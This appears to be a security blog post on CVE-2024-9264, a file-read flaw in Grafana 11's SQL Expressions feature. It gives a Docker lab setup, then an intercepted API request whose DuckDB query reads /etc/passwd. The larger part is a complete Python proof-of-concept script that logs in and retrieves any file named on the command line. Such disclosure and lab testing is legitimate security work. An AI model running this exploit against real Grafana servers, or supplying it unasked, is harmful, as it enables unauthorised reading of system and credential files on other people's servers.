CVE-2024-9264: Grafana Arbitrary File Read via SQL Expressions
In a recent discovery, a Grafana Labs engineer identified a Remote Code Execution (RCE) and Local File Inclusion (LFI) vulnerability which was introduced in Grafana 11 through an experimental feature called SQL Expressions.
What is SQL Expressions?
Grafana is a powerful open-source platform for data visualization, monitoring, and analytics, and it connects to a variety of data sources for flexible querying. As part of its experimental feature set, Grafana 11 introduced SQL Expressions. This feature allows users to post-process the output of data source queries by running SQL queries on the results.
Under the hood, this is achieved by passing the query and the data to the DuckDB Command Line Interface (CLI), which executes the SQL against the query results formatted as DataFrames. DuckDB is a lightweight in-process database management system designed for fast analytical queries, making it an attractive tool for post-processing data efficiently within Grafana.
Feature Enabled by Default Due to Incorrect Implementation
SQL Expressions is an experimental feature, which by design should be disabled by default. However, due to an incorrect implementation of feature flags, the feature was enabled by default on the API level. This meant that even if users were not actively using the SQL Expressions feature in the Grafana UI, it could still be accessed programmatically through the API.
Exploitation Conditions
-
Authenticated user with
Viewer
permissions and higher -
DuckDB Binary in PATH has to be in Grafana’s $PATH environment variable
Note: DuckDB is not bundled with Grafana by default.
Test Environment
Build a custom Docker with Grafana version 11.0.0 and install DuckDB and add it to the PATH.
# Dockerfile
FROM grafana/grafana:11.0.0-ubuntu
USER root
# Install DuckDB
RUN apt-get update && apt-get install -y && apt-get install unzip -y \
wget \
&& wget https://github.com/duckdb/duckdb/releases/download/v0.8.1/duckdb_cli-linux-amd64.zip \
&& unzip duckdb_cli-linux-amd64.zip -d /usr/local/bin/ \
&& chmod +x /usr/local/bin/duckdb \
&& rm duckdb_cli-linux-amd64.zip
# Add DuckDB to the PATH
ENV PATH="/usr/local/bin:${PATH}"
Spin up a test environment with our custom image and a MySQL instance.
services:
mysql:
image: mysql:latest
restart: always
environment:
- MYSQL_ROOT_PASSWORD=rootpassword
- MYSQL_DATABASE=grafanadb
- MYSQL_USER=grafana
- MYSQL_PASSWORD=grafanapassword
volumes:
- ./mysql-data:/var/lib/mysql
ports:
- "3306:3306"
healthcheck:
test: ["CMD", "mysqladmin", "ping", "-h", "localhost"]
interval: 10s
timeout: 5s
retries: 3
grafana:
build: .
ports:
- "3000:3000"
environment:
- GF_SECURITY_ADMIN_PASSWORD=SecurePassword123!
- GF_DATABASE_TYPE=mysql
- GF_DATABASE_HOST=mysql:3306
- GF_DATABASE_USER=grafana
- GF_DATABASE_PASSWORD=grafanapassword
- GF_DATABASE_NAME=grafanadb
volumes:
- grafana-storage:/var/lib/grafana
- ./grafana.ini:/etc/grafana/grafana.ini
depends_on:
mysql:
condition: service_healthy
volumes:
grafana-storage:
mysql-storage:
Manual Approach
Create a custom dashboard with a Math or Reduce expression, intercept the request with BurpSuite, and modify the datasource type to sql
.
POST /api/ds/query?ds_type=__expr__&expression=true&requestId=Q100 HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Cookie: grafana_session=a739fa9aeb235f2790f17de00fefe528
Content-Length: 368
{
"from": "1696154400000",
"to": "1696345200000",
"queries": [
{
"datasource": {
"name": "Expression",
"type": "__expr__",
"uid": "__expr__"
},
"expression": "SELECT * FROM read_csv_auto('/etc/passwd');",
"hide": false,
"refId": "B",
"type": "sql",
"window": ""
}
]
}
We use read_csv_auto()
to read arbitrary files from the target system (here: /etc/passwd
)
Proof-of-Concept
Here is an exploit which allows arbitrary file read on a server running a vulnerable Grafana instance. The vulnerability stems from the misuse of the SQL Expressions feature and allows the execution of unsanitized SQL queries through the DuckDB backend.
By sending a specially crafted query to Grafana’s API that instructs DuckDB to read and return the contents of a file on the server (e.g., /etc/passwd), the PoC demonstrates how an attacker could retrieve files on the system.
#!/usr/bin/env python3
"""
Grafana File Read PoC (CVE-2024-9264)
Author: z3k0sec // www.zekosec.com
"""
import requests
import json
import sys
import argparse
class Console:
def log(self, msg):
print(msg, file=sys.stderr)
console = Console()
def msg_success(msg):
console.log(f"[SUCCESS] {msg}")
def msg_failure(msg):
console.log(f"[FAILURE] {msg}")
def failure(msg):
msg_failure(msg)
sys.exit(1)
def authenticate(s, url, u, p):
res = s.post(f"{url}/login", json={"password": p, "user": u})
if res.json().get("message") == "Logged in":
msg_success(f"Logged in as {u}:{p}")
else:
failure(f"Failed to log in as {u}:{p}")
def run_query(s, url, query):
query_url = f"{url}/api/ds/query?ds_type=__expr__&expression=true&requestId=1"
query_payload = {
"from": "1696154400000",
"to": "1696345200000",
"queries": [
{
"datasource": {
"name": "Expression",
"type": "__expr__",
"uid": "__expr__"
},
"expression": query,
"hide": False,
"refId": "B",
"type": "sql",
"window": ""
}
]
}
res = s.post(query_url, json=query_payload)
data = res.json()
# Handle unexpected response
if "message" in data:
msg_failure("Unexpected response:")
msg_failure(json.dumps(data, indent=4))
return None
# Extract results
frames = data.get("results", {}).get("B", {}).get("frames", [])
if frames:
values = [
row
for frame in frames
for row in frame["data"]["values"]
]
if values:
msg_success("Successfully ran DuckDB query:")
return values
failure("No valid results found.")
def decode_output(values):
return [":".join(str(i) for i in row if i is not None) for row in values]
def main(url, user="admin", password="admin", file=None):
s = requests.Session()
authenticate(s, url, user, password)
file = file or "/etc/passwd"
escaped_filename = requests.utils.quote(file)
query = f"SELECT * FROM read_csv_auto('{escaped_filename}');"
content = run_query(s, url, query)
if content:
msg_success(f"Retrieved file {file}:")
for line in decode_output(content):
print(line)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Arbitrary File Read in Grafana via SQL Expression (CVE-2024-9264).")
parser.add_argument("--url", help="URL of the Grafana instance to exploit")
parser.add_argument("--user", default="admin", help="Username to log in as, defaults to 'admin'")
parser.add_argument("--password", default="admin", help="Password used to log in, defaults to 'admin'")
parser.add_argument("--file", help="File to read on the server, defaults to '/etc/passwd'")
args = parser.parse_args()
main(args.url, args.user, args.password, args.file)